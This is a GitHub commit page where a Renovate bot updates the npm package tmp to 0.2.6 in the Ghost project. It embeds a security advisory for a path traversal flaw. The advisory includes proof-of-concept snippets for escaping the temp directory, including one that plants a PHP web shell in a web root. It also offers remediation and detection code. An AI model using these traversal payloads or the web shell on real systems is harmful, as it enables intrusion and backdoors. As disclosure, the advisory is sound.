Skip to content

Commit dbca587

Browse files
Update dependency tmp to v0.2.6 [SECURITY] (TryGhost#28202)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [tmp](https://redirect.github.com/raszi/node-tmp) | [`0.2.5` → `0.2.6`](https://renovatebot.com/diffs/npm/tmp/0.2.5/0.2.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/tmp/0.2.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tmp/0.2.5/0.2.6?slim=true) | --- ### tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape [CVE-2026-44705](https://nvd.nist.gov/vuln/detail/CVE-2026-44705) / [GHSA-ph9p-34f9-6g65](https://redirect.github.com/advisories/GHSA-ph9p-34f9-6g65) <details> <summary>More information</summary> #### Details ##### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ##### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ##### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ##### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ##### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ##### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ##### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash ##### Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ##### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash ##### Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ##### Acknowledgements **Reported by**: Mapta / BugBunny_ai #### Severity - CVSS Score: 7.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65](https://redirect.github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65) - [https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429](https://redirect.github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429) - [https://github.com/advisories/GHSA-ph9p-34f9-6g65](https://redirect.github.com/advisories/GHSA-ph9p-34f9-6g65) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-ph9p-34f9-6g65) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>raszi/node-tmp (tmp)</summary> ### [`v0.2.6`](https://redirect.github.com/raszi/node-tmp/compare/v0.2.5...v0.2.6) [Compare Source](https://redirect.github.com/raszi/node-tmp/compare/v0.2.5...v0.2.6) </details> --- ### Configuration 📅 **Schedule**: (in timezone Etc/UTC) - Branch creation - At any time (no schedule defined) - Automerge - Only on Sunday and Saturday (`* * * * 0,6`) - Between 11:00 PM and 11:59 PM, Monday through Friday (`* 23 * * 1-5`) - Between 12:00 AM and 04:59 AM, Monday through Saturday (`* 0-4 * * 1-6`) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xOTcuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwNC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJzZWN1cml0eSJdfQ==--> Co-authored-by: Steve Larson <9larsons@gmail.com>
1 parent 000c4da commit dbca587

3 files changed

Lines changed: 11 additions & 3 deletions

File tree

ghost/core/package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -300,7 +300,7 @@
300300
"rewire": "9.0.1",
301301
"sinon": "catalog:",
302302
"supertest": "6.3.4",
303-
"tmp": "0.2.5",
303+
"tmp": "0.2.6",
304304
"tsx": "4.21.0",
305305
"typescript": "catalog:",
306306
"validator": "catalog:",

pnpm-lock.yaml

Lines changed: 8 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

pnpm-workspace.yaml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -186,3 +186,5 @@ minimumReleaseAgeExclude:
186186
- "@types/react@18.3.29"
187187
# Renovate security update: @playwright/test@1.60.0
188188
- "@playwright/test@1.60.0"
189+
# Renovate security update: tmp@0.2.6
190+
- tmp@0.2.6

0 commit comments

Comments
 (0)